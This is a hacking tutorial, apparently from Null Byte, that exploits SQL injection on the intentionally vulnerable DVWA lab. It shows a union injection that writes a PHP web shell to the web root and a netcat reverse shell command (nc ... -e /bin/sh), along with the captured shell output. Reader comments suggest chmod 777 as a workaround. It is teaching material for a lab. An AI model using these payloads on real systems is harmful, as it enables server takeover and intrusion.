How To: Use SQL Injection to Run OS Commands & Get a Shell

Use SQL Injection to Run OS Commands & Get a Shell

One of the ultimate goals in hacking is the ability to obtain shells in order to run system commands and own a target or network. SQL injection is typically only associated with databases and their data, but it can actually be used as a vector to gain a command shell. As a lesson, we'll be exploiting a simple SQL injection flaw to execute commands and ultimately get a reverse shell on the server.

We will be using DVWA, an intentionally vulnerable virtual machine, and Kali Linux to carry out our attack. If you're new to Kali, we recommend you follow our guide on getting Kali set up and secured, to make sure your system is ready for anything.

SQL Injection Overview

SQL injection is one of the most common vulnerabilities encountered on the web and can also be one of the most dangerous. Attackers can inject malicious SQL code in order to extract sensitive information, modify or destroy existing data, or escalate the attack in an attempt to own the server.

There are many different types of SQL injection and different attack methods for the various database systems in use. Although this type of attack is one of the easiest to get started with, SQL injection can take years to truly master. Luckily, there is a lot of good information available to begin down the path.

Step 1: Target Enumeration

The first thing we need to do is log in to DVWA using the default credentials, admin as the username and password as the password.

Next, go to the "Security" tab on the left, and set the security level to "low." This will ensure our demonstration proceeds smoothly.

Navigate to the "SQL Injection" page to begin our attack. We can see that the page's functionality is to take a user ID and return information, in this case, the first and last name.

We want to verify that this input is actually vulnerable to SQL injection. The first thing to try is simply entering a single quotation mark, which will close the statement prematurely if this is indeed vulnerable. When we do this, we see that it returns an error, even telling us specifically that this is using MySQL as the database. At this point, it is very likely that we have found a vulnerable entry point.

The next thing we need to do is enumerate the database and determine the number of columns in use. This will allow us to reliably exploit a union-based injection flaw in just a bit. To make this clearer, let's take a look at what the query would look like during normal submission of input:

select first_name, surname from users where user_id='';

This is likely what the query looks like on the backend, with first_name and surname being the selected columns, for a total of two columns. But we need to know for sure in order for this to work. For that, we can use the order by clause.

This clause will sort the results of the query by columns. Since we are pretty sure that there are at least two columns in use, if we order by 1 or 2, the query should complete successfully. But what if we want to order by 3? If we are correct, then this query should throw an error.

Submit the following injection as input, and it should result in an error. The pound sign is used here to comment out the rest of the query so that it doesn't throw any additional syntax errors.

' order by 3 #

We can see that we do get an error, so now we know for sure that only two columns are in use.

Step 2: Shell Access & Command Execution

Now that we have a little more information about the database, we can use this to our advantage to perform a union-based SQL injection. The union operator is used in SQL to combine the results of two or more select statements, but in order for it to work properly, the statements have to have the same number of columns. This is why we needed to enumerate the backend earlier.

There are many things we can do with union-based injections, but in this tutorial, we are concerned with leveraging this flaw to run OS commands. One of the easiest ways to make this happen is to upload a simple PHP shell to pipe our commands through.

We need to determine the root directory of the web server to upload our shell. Depending on the application and the type of web server in use, this can vary, especially if an admin changes the default location or adequate permissions are in place. For the purposes of this demo, we will assume that the default web root of Apache (/var/www/) is being used with public write permissions. Information about the web server, including the root directory, can usually be found in the "phpinfo.php" file.

We can use the into outfile command to write to a file. In this case, we will be inserting a simple PHP script, which will be able to run system commands. The script, which we will aptly name "cmd.php," should look like this:

<?php system($_GET["cmd"]); ?>

Now, let's perform the injection. We will need to use double quotation marks in the script since we need to enclose the second part of the statement in single quotes — this will avoid syntax errors. The complete injection will look like this:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #

If this worked properly, we should now be able to access our shell via URL and by supplying a system command as a parameter. For example, whoami will give us current user information.

Or uname -a, which will give us information about the system.

But supplying all these commands via URL parameter is sort of tedious. We can actually use this to obtain a reverse shell and take things a step further.

Step 3: Reverse Shell with Netcat

Netcat is a powerful networking utility used to troubleshoot connectivity issues, but it can actually be utilized by hackers as a backdoor and as a method to gain a shell. A lot of Linux distros have this utility installed by default, so if we can gain access, it's game over.

We will first need to set up the listener on our local machine. Use the nc command along with the flags -lvp to specify it to listen, to be verbose, and to set the port number, respectively.

nc -lvp 1234
listening on [any] 1234 ...

Next, as the parameter to our PHP shell in the URL, enter the following command. It tells the server to execute a shell (-e /bin/sh) and send it back to our local machine. Make sure to use the appropriate IP address and port.

nc 172.16.1.100 1234 -e /bin/sh

Give it a few seconds, and we should see our listener catch the shell and open a connection. From here, we can run commands like id, uname -a, and ps as we see fit.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

We now have an adequate means to execute commands on the web server from the comfort of our own terminal, all of which came about from a simple SQL injection flaw.

Wrapping Up

In this guide, we learned how to identify a vulnerable SQL injection point, enumerate the backend database, and use that information to upload a simple shell in order to run commands on the target system. From there, we escalated the attack further by utilizing Netcat to get a reverse shell, allowing us backdoor access to the web server. This just goes to show that with enough patience and creativity, along with a little luck, a hacker can take a simple flaw and turn it into something far greater and more powerful.

Cover image by NeuPaddy/Pixabay; Screenshots by drd_/Null Byte

Get The Weekly Null Byte Newsletter

Never miss a Null Byte guide.

4 Comments

I was developing my app (EffectedKeyboard Android keyboard which pops out letters as you type btw) while I suddenly opened an est tunnel to my computer and someone broke in bruteforcing my password!

I dumped out in pants. (And turned off my router)

I don't know why but in the second step when you make the complete injection and when I try to perform the injection whit that code I get an error

Access denied for user 'dvwa'@'localhost' (using password: YES)

I don't know what to do really because I just started with sql injections and I'm a bit of a noob.

It could be a permissions issue. You'd never want to do this in the real world, but for the purposes of this demo you could try to give the directory on your DVWA machine full permissions with the chmod command (chmod 777 /var/www/). You might also have to restart Apache for this to work.

It didn't work, but thank you for the reply.

Share Your Thoughts

  • Hot
  • Latest